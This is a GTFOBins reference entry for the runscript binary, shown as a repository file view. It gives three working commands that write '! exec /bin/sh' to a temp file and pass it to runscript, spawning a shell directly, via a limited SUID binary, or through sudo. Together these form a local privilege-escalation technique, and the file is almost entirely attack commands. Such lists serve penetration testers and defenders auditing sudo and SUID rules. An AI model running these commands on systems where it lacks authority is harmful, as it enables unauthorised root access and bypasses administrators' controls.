GTFOBins.github.io/_gtfobins/runscript.md
2023-10-21 13:38:18 +02:00

19 lines
335 B
Markdown

---
functions:
shell:
- code: |
TF=$(mktemp)
echo '! exec /bin/sh' >$TF
runscript $TF
limited-suid:
- code: |
TF=$(mktemp)
echo '! exec /bin/sh' >$TF
./runscript $TF
sudo:
- code: |
TF=$(mktemp)
echo '! exec /bin/sh' >$TF
sudo runscript $TF
---